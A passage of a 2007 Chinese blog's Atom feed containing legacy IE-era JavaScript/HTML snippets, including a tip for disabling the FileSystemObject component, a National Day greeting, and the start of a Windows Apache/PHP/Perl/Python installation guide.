#0000ff">if</SPAN>(ie) <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;iekey=event.keyCode; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;nkey='现在是ie浏览器'; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;realkey=<SPAN style="COLOR: #ff0000">String</SPAN>.fromCharCode(event.keyCode); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==32){realkey='\'&nbsp;空格\''} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==13){realkey='\'&nbsp;回车\''} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==27){realkey='\'&nbsp;Esc\''} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==16){realkey='\'&nbsp;Shift\''} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==17){realkey='\'&nbsp;Ctrl\''} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==18){realkey='\'&nbsp;Alt\''} <BR>&nbsp;} <BR>&nbsp;alert('ns浏览器中键值:'+nkey+'\n'+'ie浏览器中键值:'+iekey+'\n'+'实际键为'+realkey); <BR>} <BR>document.onkeydown&nbsp;=&nbsp;keyDown; <BR>&lt;/script&gt; <BR>&lt;/head&gt; <BR>&lt;body&gt; <BR><SPAN style="COLOR: #008000">//Javascript&nbsp;Document. </SPAN><BR>&lt;hr&gt; <BR>&lt;center&gt; <BR>&lt;h3&gt;请按任意一个键。。。。&lt;/h3&gt; <BR>&lt;/center&gt; <BR>&lt;/body&gt; <BR>&lt;/html&gt; </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//禁止FSO</STRONG> <BR></FONT></P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">1.注销组件 <BR>regsvr32&nbsp;/u&nbsp;scrrun.dll <BR>2.修改PROGID&nbsp; <BR>HKEY_CLASSES_ROOT\Scripting.FileSystemObject <BR>Scripting.FileSystemObject <BR>3.对于使用object的用户，修改HKEY_CLASSES_ROOT\Scripting. </DIV>
<P><BR><FONT size=2><STRONG>//省略号</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;DIV&nbsp;STYLE=<SPAN style="COLOR: #ff00ff">"width:&nbsp;120px;&nbsp;height:&nbsp;50px;&nbsp;border:&nbsp;1px&nbsp;solid&nbsp;blue; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;overflow:&nbsp;hidden;&nbsp;text-overflow:ellipsis"</SPAN>&gt; <BR>&lt;NOBR&gt;就是比如有一行文字，很长，表格内一行显示不下.&lt;/NOBR&gt; <BR>&lt;/DIV&gt; </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//检测media play版本 <BR></STRONG>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;IE:clientCaps&nbsp;ID=<SPAN style="COLOR: #ff00ff">"oClientCaps"</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"{behavior:url(#default#clientcaps)}"</SPAN>&nbsp;/&gt; <BR>&lt;SCRIPT&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;flash=<SPAN style="COLOR: #ff00ff">""</SPAN>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;WMPVersion=&nbsp;oClientCaps.getComponentVersion(<SPAN style="COLOR: #ff00ff">"{22D6F312-B0F6-11D0-94AB-0080C74C7E95}"</SPAN>,<SPAN style="COLOR: #ff00ff">"ComponentID"</SPAN>);&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(WMPVersion&nbsp;!=&nbsp;<SPAN style="COLOR: #ff00ff">""</SPAN>)&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;flash&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">""</SPAN>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;version&nbsp;=&nbsp;WMPVersion.split(<SPAN style="COLOR: #ff00ff">","</SPAN>); <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i; <BR>&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;version.length;&nbsp;i++)&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(i&nbsp;!=&nbsp;0) <BR>&nbsp;&nbsp;&nbsp;&nbsp;flash&nbsp;+=&nbsp;<SPAN style="COLOR: #ff00ff">"."</SPAN>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;flash&nbsp;+=&nbsp;version[i]; <BR>&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.write(<SPAN style="COLOR: #ff00ff">"您的Windows&nbsp;Media&nbsp;Player&nbsp;版本是:"</SPAN>+flash+<SPAN style="COLOR: #ff00ff">"&lt;p&gt;"</SPAN>); <BR>&nbsp;&nbsp;} <BR>&lt;/SCRIPT&gt; </DIV>
<P><BR></P></FONT>
<P></P>
<P><FONT size=2><STRONG>//图象按比例 <BR></STRONG>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&gt; <BR>&lt;!-- <BR><SPAN style="COLOR: #008000">//图片按比例缩放 </SPAN><BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;flag=<SPAN style="COLOR: #0000ff">false</SPAN>; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;DrawImage(ImgD){ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;image=<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;Image(); <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;iwidth&nbsp;=&nbsp;80;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//定义允许图片宽度 </SPAN><BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;iheight&nbsp;=&nbsp;80;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//定义允许图片高度 </SPAN><BR>&nbsp;image.src=ImgD.src; <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(image.width&gt;0&nbsp;&&&nbsp;image.height&gt;0){ <BR>&nbsp;flag=<SPAN style="COLOR: #0000ff">true</SPAN>; <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(image.width/image.height&gt;=&nbsp;iwidth/iheight){ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(image.width&gt;iwidth){&nbsp;&nbsp; <BR>&nbsp;&nbsp;ImgD.width=iwidth; <BR>&nbsp;&nbsp;ImgD.height=(image.height*iwidth)/image.width; <BR>&nbsp;&nbsp;}<SPAN style="COLOR: #0000ff">else</SPAN>{ <BR>&nbsp;&nbsp;ImgD.width=image.width;&nbsp;&nbsp; <BR>&nbsp;&nbsp;ImgD.height=image.height; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;ImgD.alt=image.width+<SPAN style="COLOR: #ff00ff">"×"</SPAN>+image.height; <BR>&nbsp;&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">else</SPAN>{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(image.height&gt;iheight){&nbsp;&nbsp; <BR>&nbsp;&nbsp;ImgD.height=iheight; <BR>&nbsp;&nbsp;ImgD.width=(image.width*iheight)/image.height;&nbsp;&nbsp; <BR>&nbsp;&nbsp;}<SPAN style="COLOR: #0000ff">else</SPAN>{ <BR>&nbsp;&nbsp;ImgD.width=image.width;&nbsp;&nbsp; <BR>&nbsp;&nbsp;ImgD.height=image.height; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;ImgD.alt=image.width+<SPAN style="COLOR: #ff00ff">"×"</SPAN>+image.height; <BR>&nbsp;&nbsp;} <BR>&nbsp;} <BR>}&nbsp; <BR><SPAN style="COLOR: #008000">//--&gt; </SPAN><BR>&lt;/script&gt; <BR>&lt;img&nbsp;src=<SPAN style="COLOR: #ff00ff">".."</SPAN>&nbsp;onload&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"DrawImage(this)"</SPAN>&gt; </DIV>
<P><BR></P></FONT>
<P></P>
<P><FONT size=2><STRONG>//细线SELECT</STRONG> <BR>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;<SPAN style="COLOR: #808000"><SPAN style="COLOR: #0000ff">span</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"border:1px&nbsp;solid&nbsp;#000000;&nbsp;position:absolute;&nbsp;overflow:hidden;"</SPAN>&nbsp;</SPAN>&gt; <BR>&lt;<SPAN style="COLOR: #808000"><SPAN style="COLOR: #0000ff">select</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"margin:-2px;"</SPAN></SPAN>&gt; <BR>&lt;<SPAN style="COLOR: #808000"><SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt;1111&lt;<S, PAN style="COLOR: #808000">/<SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt; <BR>&lt;<SPAN style="COLOR: #808000"><SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt;11111111111111&lt;<SPAN style="COLOR: #808000">/<SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt; <BR>&lt;<SPAN style="COLOR: #808000"><SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt;111111111&lt;<SPAN style="COLOR: #808000">/<SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt; <BR>&lt;<SPAN style="COLOR: #808000">/<SPAN style="COLOR: #0000ff">select</SPAN></SPAN>&gt;&lt;<SPAN style="COLOR: #808000">/<SPAN style="COLOR: #0000ff">span</SPAN></SPAN>&gt; </DIV>
<P><BR><STRONG>//Import</STRONG> <BR></P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;Import()&nbsp;{ <BR>&nbsp;for(&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i=0;&nbsp;i&lt;arguments.length;&nbsp;i++&nbsp;)&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;file&nbsp;=&nbsp;arguments[i]; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(&nbsp;file.match(/\.js$/i))&nbsp; <BR>&nbsp;&nbsp;&nbsp;document.write('&lt;script&nbsp;type=\"text/javascript\<SPAN style="COLOR: #ff00ff">"&nbsp;src=\"'&nbsp;+&nbsp;file&nbsp;+&nbsp;'\"&gt;&lt;/sc'&nbsp;+&nbsp;'ript&gt;'); <BR>&nbsp;&nbsp;else <BR>&nbsp;&nbsp;&nbsp;document.write('&lt;style&nbsp;type=\"text/css\"</SPAN>&gt;@import&nbsp;\"'&nbsp;+&nbsp;file&nbsp;+&nbsp;'\"&nbsp;;&lt;/style&gt;'); <BR>&nbsp;} <BR>}; </DIV>
<P><BR><FONT size=2><STRONG>//js枚举</STRONG></FONT> </P></FONT>
<P></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;getComputerName() <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;objWMIService&nbsp;=&nbsp;GetObject(<SPAN style="COLOR: #ff00ff">"Winmgmts:root\cimv2"</SPAN>); <BR>&nbsp;for(e&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;Enumerator(objWMIService)&nbsp;;&nbsp;!e.atEnd()&nbsp;;&nbsp;e.moveNext()) <BR>&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;getComputer&nbsp;=&nbsp;e.item(); <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;getComputer.Name; <BR>&nbsp;} <BR>} </DIV>
<P><BR><BR><STRONG>//条件编译</STRONG> <BR><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=javascript&gt; <BR><SPAN style="COLOR: #008000">/*@cc_on&nbsp;@*/</SPAN> <BR><SPAN style="COLOR: #008000">/*@if&nbsp;(@_win32&nbsp;&&&nbsp;@_jscript_version&gt;5) <BR>function&nbsp;window.confirm(str) <BR>{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;execScript("n&nbsp;=&nbsp;msgbox('"+&nbsp;str&nbsp;+"',&nbsp;257)",&nbsp;"vbscript"); <BR>&nbsp;&nbsp;&nbsp;&nbsp;return(n&nbsp;==&nbsp;1); <BR>} <BR>@end&nbsp;@*/</SPAN> <BR>&lt;/script&gt; </DIV>
<P><BR><BR><STRONG>//取得innerText</STRONG> <BR></P></FONT>
<P></P></FONT><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;SCRIPT&nbsp;LANGUAGE=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&gt; <BR>&lt;!-- <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;xmlDoc&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"Msxml2.DOMDocument.4.0"</SPAN>); <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;currNode; <BR>&nbsp;xmlDoc.async&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;xmlDoc.async&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;xmlDoc.loadXML(<SPAN style="COLOR: #ff00ff">"&lt;TABLENAME&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;你好你阿三&nbsp;&nbsp;&nbsp;&nbsp;大法&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;司法等四&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TABLENAME&gt;"</SPAN>); <BR>&nbsp;currNode&nbsp;=&nbsp;xmlDoc.documentElement; <BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;s&nbsp;=&nbsp;currNode.xml; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;r&nbsp;=&nbsp;/\&lt;([^\&gt;\s]*?)[^\&gt;]*?\&gt;([^\&lt;]*?)\&lt;\/\1\&gt;/ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;b&nbsp;=&nbsp;s.replace(r,<SPAN style="COLOR: #ff00ff">"$2"</SPAN>); <BR>&nbsp;&nbsp;alert(b); <BR><SPAN style="COLOR: #008000">//--&gt; </SPAN><BR>&lt;/SCRIPT&gt; </DIV>
<P><STRONG>//mergeAttributes 复制所有读/写标签属性到指定元素。</STRONG> </P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;SCRIPT&gt; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;fnMerge(){ <BR>oSource.children[1].mergeAttributes(oSource.children[0]); <BR>} <BR>&lt;/SCRIPT&gt; <BR>&lt;SPAN&nbsp;ID=oSource&gt; <BR>&lt;DIV <BR>ID=<SPAN style="COLOR: #ff00ff">"oDiv"</SPAN> <BR>ATTRIBUTE1=<SPAN style="COLOR: #ff00ff">"true"</SPAN> <BR>ATTRIBUTE2=<SPAN style="COLOR: #ff00ff">"true"</SPAN> <BR>onclick=<SPAN style="COLOR: #ff00ff">"alert('click');"</SPAN> <BR>onmouseover=<SPAN style="COLOR: #ff00ff">"this.style.color='#0000FF';"</SPAN> <BR>onmouseout=<SPAN style="COLOR: #ff00ff">"this.style.color='#000000';"</SPAN> <BR>&gt; <BR>This&nbsp;is&nbsp;a&nbsp;sample&nbsp;&lt;B&gt;DIV&lt;/B&gt;&nbsp;element. <BR>&lt;/DIV&gt; <BR>&lt;DIV&nbsp;ID=<SPAN style="COLOR: #ff00ff">"oDiv2"</SPAN>&gt; <BR>This&nbsp;is&nbsp;another&nbsp;sample&nbsp;&lt;B&gt;DIV&lt;/B&gt;&nbsp;element. <BR>&lt;/DIV&gt; <BR>&lt;/SPAN&gt; <BR>&lt;INPUT <BR>TYPE=<SPAN style="COLOR: #ff00ff">"button"</SPAN> <BR>VALUE=<SPAN style="COLOR: #ff00ff">"Merge&nbsp;Attributes"</SPAN> <BR>onclick=<SPAN style="COLOR: #ff00ff">"fnMerge()"</SPAN> <BR>&gt; </DIV></FONT>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=431" /> 
	  <id>http://www.openx.cn/default.asp?id=431</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[热烈庆祝中华人民共和国成立58周年]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-10-01T08:22:50+08:00</updated>
	  <published>2007-10-01T08:22:50+08:00</published>
		  <summary type="html"><![CDATA[<IMG style="WIDTH: 619px; HEIGHT: 124px" height=152 src="http://www.openx.cn/include/Editor/UploadFile/20071018221268.jpg" width=848 border=0>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=430" /> 
	  <id>http://www.openx.cn/default.asp?id=430</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Windows下Apache相关安装指南]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-09-11T17:44:58+08:00</updated>
	  <published>2007-09-11T17:44:58+08:00</published>
		  <summary type="html"><![CDATA[<P>本文介绍了在Windows下安装Apache、PHP、mod_perl、mod_python、subversion的方法。 <A id=more-92></A><!-- begin Pukiwiki generated code-->
<DIV class=contents><A id=contents_1></A>
<UL class=list2 style="PADDING-LEFT: 16px; MARGIN-LEFT: 16px">
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_0">所需安装文件</A> 
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_1">安装 Apache 2.0.59</A> 
<UL class=list3 style="PADDING-LEFT: 16px; MARGIN-LEFT: 16px">
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_2">安装后的说明</A> 
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_3">修改默认配置</A> 
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_4">常见错误及修正方法</A> 
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_5">为什么不使用最新版的 Apache 2.2.3</A></LI></UL>
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_6">安装 php 5.1.6</A> 
<UL class=list3 style="PADDING-LEFT: 16px; MARGIN-LEFT: 16px">
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_7">PHP各个目录的作用</A> 
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_8">添加 mysql 支持</A></LI></UL>
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_9">安装 ActivePerl 5.8.8</A> 
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_10">安装 mod_perl 2.0.2</A> 
<UL class=list3 style="PADDING-LEFT: 16px; MARGIN-LEFT: 16px">
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_11">测试CGI脚本的执行</A> 
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_12">测试 mod_perl Apache Handler 的执行</A></LI></UL>
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_13">安装 python 2.3.5</A> 
<UL class=list3 style="PADDING-LEFT: 16px; MARGIN-LEFT: 16px">
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_14">为什么不使用 python 2.4 或 python 2.5 版本</A></LI></UL>
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_15">安装 mod_python</A> 
<LI><A href="http://tech.idv2.com/2006/08/31/apache-install-note/#content_1_16">安装 subversion</A></LI></UL></DIV>
<HR class=full_hr>

<H3 id=content_1_0>所需安装文件</H3>
<UL class=list1 style="PADDING-LEFT: 16px; MARGIN-LEFT: 16px">
<LI><STRONG>Apache 2.0.59</STRONG>：<A href="http://httpd.apache.org/download.cgi" rel=nofollow>下载 Apache HTTP Server 2.0.59 Win32 Binary (MSI Installer)</A> 
<LI><STRONG>php 5.1.6</STRONG>：<A href="http://www.php.net/downloads.php" rel=nofollow>下载 Windows Binaries - php 5.1.6 zip package</A> 
<LI><STRONG>ActivePerl 5.8.8</STRONG>：<A href="http://www.activestate.com/Products/Download/Download.plex?id=ActivePerl" rel=nofollow>下载 ActivePerl 5.8.8.817 Windows MSI</A> 
<LI><STRONG>mod_perl 2.0.2</STRONG>：通过 ppm 安装，无须事先下载 
<LI><STRONG>Python 2.3.5</STRONG>：<A href="http://www.python.org/download/" rel=nofollow>下载Python 2.3.5</A> 
<LI><STRONG>mod_python</STRONG>：<A href="http://www.meisei-u.ac.jp/mirror/apache/dist/httpd/modpython/win/3.2.10/" rel=nofollow>下载mod_python 3.2.10</A>，注意要下载 mod_python-3.2.10.win32-py2.3-apache2.0.exe 文件。 
<LI><STRONG>subversion</STRONG>：<A href="http://subversion.tigris.org/project_packages.html" rel=nofollow>下载 subversion 1.3.2</A>，建议下载 zip 版 svn-win32-1.3.2.zip。</LI></UL>
<P>另外，为了在安装失败时查找原因，最好事先准备好 <A href="http://www.dependencywalker.com/" rel=nofollow>Dependency Walker</A> 这个工具。该工具可以查看程序运行所必需的 .dll 文件。如果你已经安装了 Microsoft Visual C++ 6.0，那么其中已经包含了该工具，就不必再重新下载了。</P>
<H3 id=content_1_1>安装 Apache 2.0.59</H3>
<P>双击 apache_2.0.59-win32-x86-no_ssl.msi 文件开始安装。安装过程很简单，一路Next即可。途中要求输入服务器的域名、服务器名及管理员信箱，输入相应的正确信息。如果仅仅是安装在本地用于测试，则可按照下图所示输入。</P>
<DIV class=img_margin style="TEXT-ALIGN: left"><IMG title=apache2_install.png height=381 alt=apache2_install.png src="http://tech.idv2.com/wp-content/uploads/2006/09/apache2_install.png" width=504></DIV>
<P>安装成功之后打开浏览器，在地址栏中输入 <A href="http://localhost/" rel=nofollow>http://localhost/</A>。如果你能看到 Apache 的欢迎页面以及 Apache 的红羽毛的图标，则说明安装成功。否则请参考下面的说明查找失败原因。</P>
<H4 id=content_1_2>安装后的说明</H4>
<P>默认安装路径为 C:\Program Files\Apache Group\Apache2。安装程序会建立一个名为 Apache2 的系统服务并自动启动它，可以通过<STRONG>右键单击我的电脑-&gt;管理-&gt;服务</STRONG>确认其存在，如下图。</P>
<DIV class=img_margin style="TEXT-ALIGN: left"><IMG title=apache2_service.png height=370 alt=apache2_service.png src="http://tech.idv2.com/wp-content/uploads/2006/09/apache2_service.png" width=472></DIV>
<P>另外，安装结束后系统托盘中会多出一个 Apache 的控制图标（如下图），可以通过它来控制 Apache 的启动与停止。如果你想通过系统服务来控制 Apache 的话，可以从<STRONG>开始菜单-&gt;程序-&gt;启动</STRONG>中删除<STRONG>Monitor Apache Servers</STRONG> 项，下次启动计算机时就不会启动该图标。</P>
<DIV class=img_margin style="TEXT-ALIGN: left"><IMG title=apache2_monitor_trayicon.png height=31 alt=apache2_monitor_trayicon.png src="http://tech.idv2.com/wp-content/uploads/2006/09/apache2_monitor_trayicon.png" width=155></DIV>
<P>Apache的安装目录结构如下图：</P>
<DIV class=img_margin style="TEXT-ALIGN: left"><IMG title=apache2_tree.png height=237 alt=apache2_tree.png src="http://tech.idv2.com/wp-content/uploads/2006/09/apache2_tree.png" width=155></DIV>
<P>其中各个目录的含义如下。</P>
<UL class=list1 style="PADDING-LEFT: 16px; MARGIN-LEFT: 16px">
<LI><STRONG>bin</STRONG> - Apache的程序文件和库文件(.dll)。 
<LI><STRONG>cgi-bin</STRONG> - 网站的脚本的保存位置。 
<LI><STRONG>conf</STRONG> - 配置文件。 
<LI><STRONG>error</STRONG> - 各种错误页面。 
<LI><STRONG>htdocs</STRONG> - 网站的内容。 
<LI><STRONG>icons</STRONG> - Apache生成文件列表时使用的各种图标。 
<LI><STRONG>include</STRONG> - 程序开发时使用的头文件。 
<LI><STRONG>lib</STRONG> - 程序开发时使用的静态库文件。 
<LI><STRONG>logs</STRONG> - 服务器访问日志和错误日志。 
<LI><STRONG>manual</STRONG> - 使用手册。 
